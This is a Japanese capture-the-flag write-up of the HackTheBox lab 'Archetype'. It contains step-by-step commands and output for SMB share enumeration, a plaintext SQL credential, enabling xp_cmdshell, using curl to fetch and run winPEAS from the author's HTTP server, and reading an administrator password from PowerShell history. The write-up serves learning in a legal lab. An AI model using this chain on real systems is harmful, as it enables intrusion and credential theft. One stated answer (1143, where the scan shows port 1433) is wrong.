はじめに
HackTheBoxの攻略用の備忘録になります(攻略までの考え方、ツールの使い方をまとめるのを目的としています)。
最終解答のフラグは記載しておりませんが、フラグ取得までの過程及びそれまでの問いの解答については記載しておりますので、閲覧の際にはご注意ください。
今回はStarting PointのTier2「Archetype」についてをまとめます。
- はじめに
- Task1「Which TCP port is hosting a database server?」
- Task2「What is the name of the non-Administrative share available over SMB?」
- Task3「What is the password identified in the file on the SMB share?」
- Task4「What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?」
- Task5「What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?」
- Taks6「What script can be used in order to search possible paths to escalate privileges on Windows hosts?」
- Task7「What file contains the administrator's password?」
- SUBMIT FLAG
- おわりに
Task1「Which TCP port is hosting a database server?」
まず、DBサーバーが稼働しているポート番号を特定することから始めます。
ポートスキャンには有名どころのnmapを使ってみます。
理想としてはポートをフルスキャンすることが望ましいですが、一先ずデフォルトのスキャンを行い、望む回答が得られなかった場合はフルスキャンをすることにします。
nmap -A -T4 <IP address>
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-24 03:50 EDT
Nmap scan report for <IP address>
Host is up (0.27s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: ARCHETYPE
| NetBIOS_Domain_Name: ARCHETYPE
| NetBIOS_Computer_Name: ARCHETYPE
| DNS_Domain_Name: Archetype
| DNS_Computer_Name: Archetype
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-09-24T07:05:18
|_Not valid after: 2052-09-24T07:05:18
|_ssl-date: 2022-09-24T07:51:14+00:00; -1s from scanner time.
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windowsHost script results:
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2022-09-24T07:51:09
|_ start_date: N/A
|_clock-skew: mean: -1s, deviation: 0s, median: -1sService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.48 seconds
- オプション:-A
OS検出(-Oオプション)とバージョンスキャン(-sVオプション)をまとめて実行することができるオプション
- オプション:-T4
タイミング用のテンプレートを指定するオプション。T4はAggressiveモードを指定するものであり、スキャン速度を高速で実行するためのテンプレートである。
今回はデフォルトのポートスキャンを実行した際に、ポート番号1433にてMicrosoft SQL Serverが稼働している結果が得られた。
解答
1143
Task2「What is the name of the non-Administrative share available over SMB?」
SMBで管理されていない共有フォルダを探す必要があるようです。
SMBが稼働していることはTask1で行ったnmapの結果よりわかっています。
そこで、SMB接続をまずは試してみます。SMB接続にはsmbclientを利用します。
smbclient -h 使い方: smbclient [-?EgqBVNkPeC] [-?|--help] [--usage] [-R|--name-resolve=NAME-RESOLVE-ORDER] [-M|--message=HOST] [-I|--ip-address=IP] [-E|--stderr] [-L|--list=HOST] [-m|--max-protocol=LEVEL] [-T|--tar=<c|x>IXFvgbNan] [-D|--directory=DIR] [-c|--command=文字列] [-b|--send-buffer=BYTES] [-t|--timeout=SECONDS] [-p|--port=PORT] [-g|--grepable] [-q|--quiet] [-B|--browse] [-d|--debuglevel=DEBUGLEVEL] [-s|--configfile=CONFIGFILE] [-l|--log-basename=LOGFILEBASE] [-V|--version] [--option=name=value] [-O|--socket-options=SOCKETOPTIONS] [-n|--netbiosname=NETBIOSNAME] [-W|--workgroup=WORKGROUP] [-i|--scope=SCOPE] [-U|--user=USERNAME] [-N|--no-pass] [-k|--kerberos] [-A|--authentication-file=FILE] [-S|--signing=on|off|required] [-P|--machine-pass] [-e|--encrypt] [-C|--use-ccache] [--pw-nt-hash] service <password>
現段階では、SMBが稼働しているという情報しかないため、以下のオプションを利用して情報を得られるか確認してみることにする。
- -L
このオプションを指定すると、サーバー上で利用可能な サービスを一覧することができる。smbclient -L host のようにして使うと、サービスの一覧が表示される。
- -N
このオプションを指定すると、クライアントはユーザーへの パスワード入力要求をしなくなる。パスワードが必要ないサービスにアクセスするときに有用である。
コマンドラインにパスワードが指定されておらず、このオプションも指定されていないと、クライアントはパスワードを要求する。
もしも、パスワードがコマンドライン上で指定され、このオプションも定義されていた場合、コマンドライン上のパスワードは無視され、パスワードは使われない。
結果
smbclient -N -L XX.XXX.XXX.XXX
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
backups Disk
C$ Disk Default share
IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
得られた共有フォルダ名のうち「backups」フォルダのみパスワードなしでアクセスすることができました。
解答
backups
Task3「What is the password identified in the file on the SMB share?」
「backups」フォルダにパスワードなしでアクセスできることが分かったので、アクセスしてみます。
smbclient -N //XX.XXX.XXX.XXX/backups
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jan 20 07:20:57 2020
.. D 0 Mon Jan 20 07:20:57 2020
prod.dtsConfig AR 609 Mon Jan 20 07:23:02 2020
cp
5056511 blocks of size 4096. 2616354 blocks available
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
smb: \> exit
アクセスするとフォルダ内には、ファイルが一つだけありました。また、フォルダの移動はできなかったため、一つだけあるファイルをダウンロードしてみることにします。
ここで取得できた「.dtsConfig」ファイルはSQL Server Integration Services(SSIS)パッケージの適用に使用するファイルのようです。
ファイル拡張子データベース
取得したprod.dtsConfigファイルの中身を確認してみます。
cat prod.dtsConfig
<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>
ファイルの中には、構成情報と思われるものが含まれていました。その中に、パスワードとユーザ情報もありました。
解答
M3g4c0rp123
Task4「What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?」
impacketはネットワークプロトコルを操作するためのPythonでツールになります。
このimpacketのうち、Microsoft SQL Serverに利用できるスクリプトを調査します。
Google検索で「impacket mssql」などで適当に検索すれば、「mssqlclient.py」が引っかかります。
解答
mssqlclient.py
Task5「What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?」
Windows コマンドを実行できるMicrosoft SQL Serverのストアドプロシージャを回答するタスクになります。調べると「xp_cmdshell」が引っかかりました。
解答
xp_cmdshell
Taks6「What script can be used in order to search possible paths to escalate privileges on Windows hosts?」
Windowsの権限昇格するためのスクリプトを回答するタスクになります。調査していると下記サイトに次の文言がありました。
Best tool to look for Windows local privilege escalation vectors: WinPEAS
「HackTricks」というサイトは、ハッキング手法などがまとめられているページのようです。
これによると、「WinPEAS」というツールが最適なようです。
WinPEASはWindowsの権限昇格に利用できるスクリプトのようでした。
解答
WinPEAS
Task7「What file contains the administrator's password?」
次は管理者権限のパスワードが記録されたファイルを探すタスクになります。
Task3~6の内容を使って探すはずですので、情報を整理してみます。
Task4,5の設問からMicrosoft SQL Serverを攻略することが想定されます。
- Microsoft SQL Serverの稼働状況
Microsoft SQL Serverが稼働しているかはTask1の設問で行ったポートスキャンにより1433番ポートで提供されていることがわかります。
- Microsoft SQL Serverのログイン情報
Microsoft SQL Serverへ接続するために利用できると推測できる情報はTask3で得られたユーザID「ARCHETYPE\sql_svc」とパスワード「M3g4c0rp123」があります。
- Microsoft SQL Serverへのログイン方法
Task4の情報からmssqlclientが利用できそうです。
- Microsoft SQL Serverへのログイン後
Task5, 6で回答したコマンドおよびツールを使うことになりそうです。
これらの情報を使ってターゲットサーバーからファイルを探します。
まずは、mssqlclientを使ってMicrosoft SQL Serverへアクセスします。
impacket-mssqlclient -h Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation usage: mssqlclient.py [-h] [-port PORT] [-db DB] [-windows-auth] [-debug] [-file FILE] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] target TDS client implementation (SSL supported). positional arguments: target [[domain/]username[:password]@]<targetName or address> options: -h, --help show this help message and exit -port PORT target MSSQL port (default 1433) -db DB MSSQL database instance (default None) -windows-auth whether or not to use Windows Authentication (default False) -debug Turn DEBUG output ON -file FILE input file with commands to execute in the SQL shell authentication: -hashes LMHASH:NTHASH NTLM hashes, format is LMHASH:NTHASH -no-pass don't ask for password (useful for -k) -k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line -aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits) -dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
「target」情報として、ユーザ名とパスワードは取得した情報が使えそうです。また今回利用するユーザ情報はWindowsの認証情報と推測されるため、「-windows-auth」オプションを使います。
impacket-mssqlclient ARCHETYPE/sql_svc:M3g4c0rp123@<IP Address> -windows-auth
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL>
アクセスすることができました。
ここで「help」コマンドで利用できるコマンドを確認します。
SQL> help
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
sp_start_job {cmd} - executes cmd using the sql server agent (blind)
! {cmd} - executes a local shell cmd
Microsoft SQL ServerでWindowsコマンドを実行できるストアドプロシージャの「xp_cmdshell」もありました。
ここでxp_cmdshellを試しましたが、エラーが出て失敗しました。
そこで、helpの内容をもう一度確認すると、「enable_xp_cmdshell」コマンドがあることに気づきました。そのままの意味でxp_cmdshellを有効化するためのコマンドと推測されるので、「enable_xp_cmdshell」を実行します。
その後xp_cmdshellを実行すると、Windowsコマンドを実行することができました。
一通り、xp_cmdshellで実行できるコードを確認した後に、WinPEASを実行してみることにしました。
そのために、WinPEASをターゲットサーバーに送る必要があります。
WinPEASにはBatファイルもあるため、今回はWinPEAS.batを送り付けることにしました。
リモートからファイルをアップロードする機能はなさそうでしたが、Curlコマンドを使えることができたので、Webサーバーを立ち上げてWinPEAS.batをダウンロードさせることにしました。
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.XXX.XXX.XXX - - [24/Sep/2022 05:28:02] "GET /winPEAS.bat HTTP/1.1" 200 -
ファイルはSQL Serverを稼働させている権限では、現在のフォルダに設置できなかったため、階層を登ったところにsmbで共有されていたbackupsを見つけ、そこに保存することにしました。
SQL> xp_cmdshell 'curl http://10.XXX.XXX.XXX:8000/winPEAS.bat > ..\..\backups\winPEAS.bat' output --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 35946 100 35946 0 0 35946 0 0:00:01 0:00:01 --:--:-- 33345 NULL SQL> xp_cmdshell 'dir ..\..\backups' output --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Volume in drive C has no label. Volume Serial Number is 9565-0B4F NULL Directory of C:\backups NULL 09/24/2022 02:29 AM <DIR> . 09/24/2022 02:29 AM <DIR> .. 01/20/2020 05:23 AM 609 prod.dtsConfig 09/24/2022 02:29 AM 35,946 winPEAS.bat 2 File(s) 36,555 bytes 2 Dir(s) 10,712,080,384 bytes free NULL
出力された情報を見てみると、気になるテキストファイルを見つけました。
どうやらここにPowerShellのヒストリー情報が書き込まれるようです。
SQL> xp_cmdshell '..\..\backups\winPEAS.bat > ..\..\backups\winPEAS.txt'
output
SQL> xp_cmdshell 'type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt'
outputnet.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
ファイルの中身を見てみると、ユーザを追加した情報を確認できました。
解答
ConsoleHost_history.txt
SUBMIT FLAG
Taks7で得られたユーザ名/パスワード情報を使いSMBへの接続します。
smbclient -U administrator //XX.XXX.XXX.XXX/C$
アクセスすることができたら、ユーザフォルダおよびAdministratorフォルダの中身を確認してみます。
すると、フラグが含まれていると思われるファイルを見つけることができました。
各々のファイルの中身を見てみると、フラグが記載されています。
smb: \Users\> ls sql_svc\Desktop\ . DR 0 Mon Jan 20 08:42:28 2020 .. DR 0 Mon Jan 20 08:42:28 2020 desktop.ini AHS 282 Mon Jan 20 08:01:37 2020 user.txt AR 32 Tue Feb 25 09:37:36 2020 5056511 blocks of size 4096. 2615128 blocks available smb: \Users\Administrator\Desktop\> ls . DR 0 Tue Jul 27 05:30:54 2021 .. DR 0 Tue Jul 27 05:30:54 2021 desktop.ini AHS 282 Tue Jul 27 05:30:54 2021 root.txt AR 32 Tue Feb 25 09:36:20 2020 5056511 blocks of size 4096. 2614735 blocks available
これにて「Archetype」の攻略が完了となりました。
おわりに
攻略後、他の方々の解法を見てみましたが、どうやらWinPEASを利用したところはシェルスクリプトを使える状態にして、攻略するほうが簡単なようです。(ここら辺をささっと組めるようになりたい。。。。)
また、SQL Serverに接続した際に権限回りを調べることをしてなかったので、ここら辺も参考になりました。
- 参考URL
【Hack The Box】Starting Point(Archetype) - Qiita
【Hack The Box】Archtype - 家studyをつづって
Hack The Box Starting Point の一つ目、Archetype 攻略のメモ – ライフハッカー